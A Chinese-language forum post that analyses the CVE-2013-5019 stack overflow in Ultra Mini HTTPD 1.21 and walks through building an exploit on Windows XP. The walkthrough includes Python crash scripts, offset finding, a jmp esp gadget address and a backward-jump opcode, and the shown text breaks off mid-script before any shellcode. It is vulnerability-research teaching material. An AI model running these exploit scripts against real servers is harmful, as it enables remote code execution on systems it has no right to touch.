-
-
[原创]MINI HTTPD 远程代码执行漏洞分析及漏洞利用
-
发表于: 2024-4-28 09:52 3852
-
MINI HTTPD 远程代码执行漏洞分析
一个老漏洞,看到k0shl师傅早些年分析过但是没有写利用手法,于是复现了一下并构造了exp,并在此之上进行了详尽的分析,对于入门来说的话还是挺有学习意义的。
漏洞说明
Name: Ultra Mini HTTPD Stack Buffer Overflow
Module: exploit/windows/http/ultraminihttp_bof
Source code: modules/exploits/windows/http/ultraminihttp_bof.rb
Disclosure date: 2013-07-10
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-5019
该模块利用了Ultra Mini HTTPD 1.21中基于堆栈的缓冲区溢出,允许远程攻击者通过HTTP请求中的长资源名执行任意代码。此漏洞必须处理应用程序的请求处理程序线程在60秒后被监视器线程终止的问题。为此,它分配一些RWX内存,将负载复制到它并创建另一个线程。完成后,它终止当前线程,这样它就不会崩溃,从而不会使进程崩溃。
下载地址
下载地址最好使用我提供的链接处下载,操作系统不一致debug结果可能会显示不同。
操作系统:Windows XP Home with Service Pack 3 (x86) - CD Retail (English)
漏洞软件:MINI HTTPD
windbg for windows XP:dbg_x86_6.11.1.404.msi
windows XP 激活码:xp-key
python安装包:Python 3.3.4 Download
pip安装:get-pip.py
测试环境
测试环境:Windows XP Home with Service Pack 3 (x86)
调试软件:windbgIDA pro 8.3(宿主机)/ windbg 6.11(虚拟机)
漏洞复现
此漏洞形成的原因是因为Mini HTTPD服务器在接收请求的URL数据时,会将URL拼接成一个路径去尝试读取文件,当没有读取到文件的时候,会拼接成一个Not Found语句输出,在这个过程中,没有对URL的长度进行严格的检查,从而导致在最后拼接的时候发生栈溢出,导致返回地址覆盖从而执行任意代码,下面对此漏洞进行详细分析。
这个漏洞也可以使用MSF进行直接利用,这里我们使用python poc进行分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | import sys import socket # Create the buffer. buffer = "" for i in range ( 10 ): buffer + = chr ( ord ( 'A' ) + i) * 1000 HOST = '127.0.0.1' PORT = 80 req = "GET /" + buffer + " HTTP/1.1\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(req.encode()) # Receive data until the socket is closed. data = b"" while True : chunk = s.recv( 1024 ) if not chunk: break data + = chunk s.close() print ( 'Received' , repr (data)) |
下载minihttpd120.lzh后进行解压(与zip或rar类似),点击运行minihttpd.exe
就开启web服务了,访问http://localhost
可以看到404 Not Found,说明我们程序正常运行:
接着运行poc,来打崩服务:
可以看到eip=41414141
,此刻eip指针已经被覆盖了,我们需要确定一下多长覆盖的eip,使用下面的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | import sys import socket # Create the buffer. buffer = "" for i in range ( 10 ): buffer + = chr ( ord ( 'A' ) + i) * 1000 HOST = '127.0.0.1' PORT = 80 req = "GET /" + buffer + " HTTP/1.1\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(req.encode()) # Receive data until the socket is closed. data = b"" while True : chunk = s.recv( 1024 ) if not chunk: break data + = chunk s.close() print ( 'Received' , repr (data)) |
可以看到在F(0x46)处填充就已经crash了:
1 2 3 4 5 6 7 8 | 0 : 002 > g ( 964.ba0 ): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax = 00000000 ebx = 000000c8 ecx = 7c90f641 edx = 00000007 esi = 00c7dd66 edi = 00c7e8aa eip = 46464646 esp = 00c7dc6c ebp = 0000000e iopl = 0 nv up ei pl nz na po nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00010202 46464646 ?? ??? |
查看当前栈回溯:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | 0 : 003 > kb ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 00c7dc68 46464646 46464646 46464646 46464646 0x46464646 00c7dc6c 46464646 46464646 46464646 46464646 0x46464646 00c7dc70 46464646 46464646 46464646 46464646 0x46464646 00c7dc74 46464646 46464646 46464646 46464646 0x46464646 00c7dc78 46464646 46464646 46464646 46464646 0x46464646 00c7dc7c 46464646 46464646 46464646 46464646 0x46464646 00c7dc80 46464646 46464646 46464646 46464646 0x46464646 00c7dc84 46464646 46464646 46464646 46464646 0x46464646 00c7dc88 46464646 46464646 46464646 46464646 0x46464646 00c7dc8c 46464646 46464646 46464646 46464646 0x46464646 00c7dc90 46464646 46464646 46464646 46464646 0x46464646 00c7dc94 46464646 46464646 46464646 46464646 0x46464646 00c7dc98 46464646 46464646 46464646 46464646 0x46464646 00c7dc9c 46464646 46464646 46464646 46464646 0x46464646 00c7dca0 46464646 46464646 46464646 46464646 0x46464646 00c7dca4 46464646 46464646 46464646 46464646 0x46464646 00c7dca8 46464646 46464646 46464646 46464646 0x46464646 00c7dcac 46464646 46464646 46464646 46464646 0x46464646 00c7dcb0 46464646 46464646 46464646 46464646 0x46464646 00c7dcb4 46464646 46464646 46464646 46464646 0x46464646 |
接下我是不断二分法去找什么时候crash的,类似下面的脚本,最后测出在"F"为397时会crash:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | import sys import socket # Create the buffer. buffer = "" for i in range ( 5 ): buffer + = chr ( ord ( 'A' ) + i) * 1000 # 375-400 buffer + = "F" * 400 HOST = '127.0.0.1' PORT = 80 req = "GET /" + buffer + " HTTP/1.1\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(req.encode()) # Receive data until the socket is closed. data = b"" while True : chunk = s.recv( 1024 ) if not chunk: break data + = chunk s.close() print ( 'Received' , repr (data)) |
crash后windbg显示如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | 0 : 002 > g (f48.b18): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax = 00000000 ebx = 000000c8 ecx = ffffffff edx = 00000007 esi = 7d58dc91 edi = 0000000e eip = 0040260d esp = 00c7dc6c ebp = 836f09be iopl = 0 nv up ei ng nz na pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00010286 * * * WARNING: Unable to verify checksum for C:\Documents and Settings\Owner\Desktop\ 847d772037159c4559bd41a439489ee7 - minihttpd120\minihttpd\minihttpd.exe * * * ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\Owner\Desktop\ 847d772037159c4559bd41a439489ee7 - minihttpd120\minihttpd\minihttpd.exe minihttpd + 0x260d : 0040260d f2ae repne scas byte ptr es:[edi] 0 : 003 > kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 00c7dc68 00c7e268 00000000 0000009c 00c9ffec minihttpd + 0x260d 00c7dc6c 00000000 0000009c 00c9ffec 00a9fbac 0xc7e268 0 : 003 > dd esp 00c7dc6c 00c7e268 00000000 0000009c 00c9ffec 00c7dc7c 00a9fbac 00001527 00000000 00000000 00c7dc8c 0000009c 00000000 ffffffff 0a000a0d 00c7dc9c 00000000 0000007f 00000000 00000000 00c7dcac 00000001 ffffffff 00000000 00000000 00c7dcbc 00000000 00000000 00000000 00000000 00c7dccc 00000000 00000000 00000000 00000000 00c7dcdc 00000000 00000000 00000000 00000000 |
可以看到eip=0040260d
,在IDA中 .text:0040260D repne scasb
repne scasb
这条指令在ZF标志位为0的情况下连续执行scasb
操作,也就是连续比较AL寄存器的值和内存当前(E)DI指向的字节值,直到两者相等或者检查完了所有的元素。这个指令常常用于在一个字符串中查找特定的字符。
该指令此处被strcat函数进行调用:
strcat
是C语言中的一个标准库函数,用于字符串的连接。它的原型如下:
1 | char * strcat ( char * destination, const char * source ); |
destination
:指向要追加的目标字符串,它应该足够大,能够容纳追加后的结果。source
:指向源字符串,这个字符串会被追加到目标字符串destination
的末尾。
返回值是一个指向destination
的指针。例如:
1 2 3 | char dest[20]= "Hello" ; char src[20]= " World" ; strcat (dest, src); |
执行完上述代码后,dest
字符串变为 "Hello World"。使用strcat
时,必须要确保目标字符串destination
有足够的空间来容纳追加的内容以及末尾的空字符('\0')
,否则可能会导致缓冲区溢出的问题。目前这个函数的安全版本是strncat
,可以避免这种问题。
strcat(v119, v114);
中有两个参数,其中v114的值使用sprintf传进来的:
sprintf(v114, a404NotFound);
中,a404NotFound
是一个字符串,它将被复制到 v114
指向的字符数组中,这个函数并没有触发crash。
画了一个函数调用逻辑图,来让我们更直观的查看触发的逻辑:
![[Pasted image 20240328215311.png]]
程序在接收到数据时会去拼接目标路径并进行打开,如果打开失败就会跳转到失败处理中,在失败处理中,会去执行打印404 not found的操作。if ( TargetHandle == (HANDLE)-1 )
这句代码就是在检查 TargetHandle
是否等于错误的 HANDLE
值。如果是,则表明函数调用失败,需要进行错误的处理。
由于文件肯定不存在,所以一定会进入错误处理流程。
进入错误处理流程会执行sprintf函数进行格式化字符串,然后执行strcat函数把字符串附加到另一个字符串末尾,因为strcat函数没有对传入参数进行检查,最后导致了缓冲区溢出,任意代码能够执行。
EXP编写
测试环境
测试环境:Windows XP Home with Service Pack 3 (x86)
调试软件:Immunity Debugger(x86)/mona
操作系统及其他工具下载请查看前文
!!注意!!:下面主要使用的是Python2
使用工具
EXP编写
偏移计算
书接上文,查看系统是否开启DEP,当前系统已默认设置为系统服务开启DEP,如果看到开启了所有程序的话就勾选下面的选项,我们先关闭该选项在无DEP下实现exp,再去实现DEP bypass:
测试payload(python2):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | import sys import socket # Create the buffer. buffer = "A" * 1000 HOST = '127.0.0.1' PORT = 80 req = "GET /" + buffer + "HTTP/1.1\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(req) data = s.recv( 1024 ) s.close() print 'Received' , repr (data) |
上篇文章我们使用的是字符串,本文使用的是字节串。
Python3 对应代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | import sys import socket # Create the buffer. buffer = b "A" * 1000 HOST = '127.0.0.1' PORT = 80 req = b "GET /" + buffer + b "HTTP/1.1\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(req) data = s.recv( 1024 ) s.close() print ( 'Received' , repr (data)) |
使用Immunity Debugger附加mini_httpd进程,运行payload,可以看到正在访问非法区域:
这里可以看出我们可以控制EIP,我们使用mona.py插件(这个文件下载后放到python2.7目录下)可以查找覆盖保存的EIP所需要的偏移量,因为EIP是只读寄存器,我们需要覆盖ret的在堆栈中对应的值。
先设置mona,我们可以创建一个1000字节的模板文件用来测试。
在Immunity Debugger中执行下面的指令:
1 2 3 | !mona config - set workingfolder c:\logs\ % p !mona config - set workingfolder c:\logs\ % p !mona pc 1000 mona pc 1000 |
之前的poc我们需要修改,来生成一系列唯一的子字符串组合,用来确定在缓冲区溢出攻击中覆盖了特定内存地址的偏移量。在Immunity Debugger中输入:!mona pattern_create 1000
生成的数据会在Immunity Debugger目录的pattern.txt文件中:
如果直接从Immunity Debugger中进行复制的话,记得确定一下最后复制出来的长度:
我们写一个新的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | import sys import socket buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B" HOST = '127.0.0.1' PORT = 80 req = "GET /" + buffer + "HTTP/1.1\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(req) data = s.recv( 1024 ) s.close() print 'Received' , repr (data) |
一旦执行和程序崩溃,我们使用!mona findmsp
来查找进程内存中的模式,并计算构建漏洞所需的偏移量。
我们可以在上图中看到,保存的 EIP 在 967 字节后被覆盖,并且:
1 | Message = ESP ( 0x00c7dc6c ) points at offset 971 in normal pattern (length 29 ) |
ESP (0x00c7dc6c)
表示栈指针寄存器当前的值或地址。points at offset 971
表示ESP指向了循环模式中的偏移量971。换句话说,当程序崩溃时,位于循环模式中的第971个字节的位置被加载到了ESP寄存器中,ESP寄存器被覆盖。in normal pattern (length 29)
这个29是什么?Immunity Debugger我不怎么会用,直接windbg看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | 0 : 002 > g ( 5d0 . 330 ): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax = 00000000 ebx = 000000c8 ecx = 7c90f641 edx = 00000007 esi = 00c7dd66 edi = 00c7e886 eip = 67423267 esp = 00c7dc6c ebp = 0000000e iopl = 0 nv up ei pl nz na po nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00010202 67423267 ?? ??? 0 : 003 > dd esp 00c7dc6c 34674233 42356742 67423667 38674237 00c7dc7c 42396742 68423068 32684231 54544842 00c7dc8c 2e315c50 41365b31 71413771 39714138 00c7dc9c 41307241 72413172 33724132 41347241 00c7dcac 72413572 37724136 41387241 73413972 00c7dcbc 31734130 41327341 73413373 35734134 00c7dccc 41367341 73413773 39734138 41307441 00c7dcdc 74413174 33744132 41347441 74413574 0 : 003 > dc esp 00c7dc6c 34674233 42356742 67423667 38674237 3Bg4Bg5Bg6Bg7Bg8 00c7dc7c 42396742 68423068 32684231 54544842 Bg9Bh0Bh1Bh2BHTT 00c7dc8c 2e315c50 41365b31 71413771 39714138 P\ 1.1 [ 6Aq7Aq8Aq9 00c7dc9c 41307241 72413172 33724132 41347241 Ar0Ar1Ar2Ar3Ar4A 00c7dcac 72413572 37724136 41387241 73413972 r5Ar6Ar7Ar8Ar9As 00c7dcbc 31734130 41327341 73413373 35734134 0As1As2As3As4As5 00c7dccc 41367341 73413773 39734138 41307441 As6As7As8As9At0A 00c7dcdc 74413174 33744132 41347441 74413574 t1At2At3At4At5At |
下面标记部分为29字节,这也是我们目前的可控范围:
该buffer的长度为1500,ESP上则有105字节可控;2000也是105,应该是极限了:
1500的寄存器偏移为:
下一步是验证偏移量,使用下面的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | import sys import socket offset_eip = 967 EIP = 'BBBB' ESP = 'CCCC' ESI = 'DDDD' buffer = 'A' * 225 buffer + = ESI buffer + = 'A' * (offset_eip - len ( buffer )) buffer + = EIP buffer + = ESP buffer + = 'E' * ( 1500 - len ( buffer )) HOST = '127.0.0.1' PORT = 80 req = "GET /" + buffer + "HTTP/1.1\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(req) data = s.recv( 1024 ) s.close() print 'Received' , repr (data) |
运行这个poc,再查看寄存器:
1 2 3 4 5 6 7 8 9 | EAX 00000000 ECX 7C90F641 ntdll. 7C90F641 EDX 00000007 EBX 000000C8 ESP 00C7DC6C ASCII "CCCCEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE127. 000.000 . 001 GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA EBP 0000000E ESI 00C7DD66 ASCII "DDDDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA EDI 00C7FF53 EIP 42424242 |
正如我们所看到的,EIP 等于"42424242"(BBBB)
;ESP 指向以"CCCC"
开头的内存区域,后跟一组 E;ESI 指向包含"DDDD"
的内存,后跟一组 A。对于偏移的填充符合我们的预期。
指令构造
操作系统使用的是Windows XP SP3,之前默认开了DEP,我们将这个先关掉。我们构造指令的方法是在EIP覆盖之前将shellcode注入到栈上,然后使用jmp esp
的ROP gadget,让指令跳转到shellcode上。
首先,我们需要找到jmp esp:
1 | !mona jmp - r esp |
生成的结果会在jmp.txt文件中:
要构建可靠的漏洞利用,最好在程序本身或者其中一个dll中使用指令,来保证漏洞利用适用于不同的windows版本,minihttpd.exe没有我们需要的gadget,这里我们使用C:\WINDOWS\system32\USER32.dll
,地址为0x7e4456f7
:
1 2 | 0x7e4456f7 : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False , Rebase: False , SafeSEH: True , CFG: False , OS: True , v5. 1.2600 . 5512 (C:\WINDOWS\system32\USER32.dll), 0x0 0x7e455af7 : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False , Rebase: False , SafeSEH: True , CFG: False , OS: True , v5. 1.2600 . 5512 (C:\WINDOWS\system32\USER32.dll), 0x0 |
我们修改之前的poc,将此地址放在 EIP 上(由于Intel架构,需要使用小端序),struct.pack('<I', 0x7e4456f7)
这行代码表示的意思是将整数0x7e4456f7
按照小端字节序(<
表示小端字节序,I
表示无符号整形数,占4字节)转换为字节流,并在 ESP 上放置一些断点\xcc
让指令跳转到esp后停止,来检测我们是否修改成功。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | import sys import socket import struct offset_eip = 967 EIP = struct.pack( '<I' , 0x7e4456f7 ) # jmp esp : USER32.dll ESP = '\xcc\xcc\xcc\xcc' buffer = 'A' * offset_eip buffer + = EIP buffer + = ESP buffer + = 'E' * ( 1500 - len ( buffer )) HOST = '127.0.0.1' PORT = 80 req = "GET /" + buffer + "HTTP/1.1\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(req) data = s.recv( 1024 ) s.close() print 'Received' , repr (data) |
可以看到中断成功:
下一步是将 ESP 指向的向后跳跃的操作码放在内存上。为了获得该操作码,我们将使用Metasm,这是Metasploit-framework中的一个工具。我们知道执行是在 ESP 上,所以缓冲区的开始是 971 字节之前。使用metasm,我们得到 971 字节向后跳转的操作码。
ruby的使用过程中可能出现依赖问题,可以使用rvm来创建独立环境
1 2 3 4 5 6 7 8 9 10 11 | computer@ubuntu:~ /Desktop $ locate nasm_shell.rb /opt/metasploit-framework/embedded/framework/tools/exploit/nasm_shell .rb # ruby 3.0.5 # gem install pcaprub -v 0.13.1 # gem install packetfu -v 2.0.0 ┌──(name㉿kali)-[ /opt/metasploit-framework/embedded/framework ] └─$ /opt/metasploit-framework/embedded/framework/tools/exploit/nasm_shell .rb nasm > jmp $-971 00000000 E930FCFFFF jmp 0xfffffc35 |
当前poc为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | import sys import socket import struct offset_eip = 967 EIP = struct.pack( '<I' , 0x7e4456f7 ) # jmp esp : USER32.dll gadget ESP = '\xe9\x30\xfc\xff\xff' # jmp $-971: 0xE930FCFFFF shellcode = '\xcc' * 20 buffer = shellcode buffer + = 'A' * (offset_eip - len ( buffer )) buffer + = EIP buffer + = ESP buffer + = 'E' * ( 1500 - len ( buffer )) # buffer = '\xcc'*20 + 'A'*947 + '0x7e4456f7'(4 bytes) + '\xe9\x30\xfc\xff\xff'(5 bytes) --> 976 bytes HOST = '127.0.0.1' PORT = 80 req = "GET /" + buffer + "HTTP/1.1\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(req) data = s.recv( 1024 ) s.close() print 'Received' , repr (data) |
接下来使用Immunity Debugger进行调试,在0x7e4456f7
下一个断点,来逐步跟踪执行并确定我们跳转的位置。在主界面使用ctrl+G
,然后输入0x7e4456f7
,F2下断点,接着运行F7(Step into),我这边用windbg查看的,可以看到在没开启DEP的时候我们顺利跳转到栈上执行命令了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | 0 : 002 > g Breakpoint 0 hit eax = 00000000 ebx = 000000c8 ecx = 7c90f641 edx = 00000007 esi = 00c7dd66 edi = 00c7ff53 eip = 7e4456f7 esp = 00c7dc6c ebp = 0000000e iopl = 0 nv up ei pl nz na po nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000202 USER32!DeregisterShellHookWindow + 0x5437 : 7e4456f7 ffe4 jmp esp { 00c7dc6c } 0 : 003 > p eax = 00000000 ebx = 000000c8 ecx = 7c90f641 edx = 00000007 esi = 00c7dd66 edi = 00c7ff53 eip = 00c7dc6c esp = 00c7dc6c ebp = 0000000e iopl = 0 nv up ei pl nz na po nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000202 00c7dc6c e930fcffff jmp 00c7d8a1 0 : 003 > dc 00c7d8a1 00c7d8a1 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00c7d8b1 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00c7d8c1 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00c7d8d1 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00c7d8e1 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00c7d8f1 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00c7d901 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00c7d911 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0 : 003 > p eax = 00000000 ebx = 000000c8 ecx = 7c90f641 edx = 00000007 esi = 00c7dd66 edi = 00c7ff53 eip = 00c7d8a1 esp = 00c7dc6c ebp = 0000000e iopl = 0 nv up ei pl nz na po nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000202 00c7d8a1 41 inc ecx |
可以看到,现在我们利用gadget执行esp指向的地址,esp指向的地址已经被我们覆盖为jmp $-971
的指令了,所以跳转到一个充满A的区域,但并不是在缓冲区开头,我们用pattern确定一下我们落在了哪里,此处使用msf自带的脚本生成pattern字符串:
1 2 3 | ┌──(name㉿kali)-[ /opt/metasploit-framework/embedded/framework ] └─$ /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create .rb -l 967 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1B |
修改poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | import sys import socket import struct offset_eip = 967 EIP = struct.pack( '<I' , 0x7e4456f7 ) # jmp esp : USER32.dll gadget ESP = '\xe9\x30\xfc\xff\xff' # jmp $-971: 0xE930FCFFFF shellcode = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6B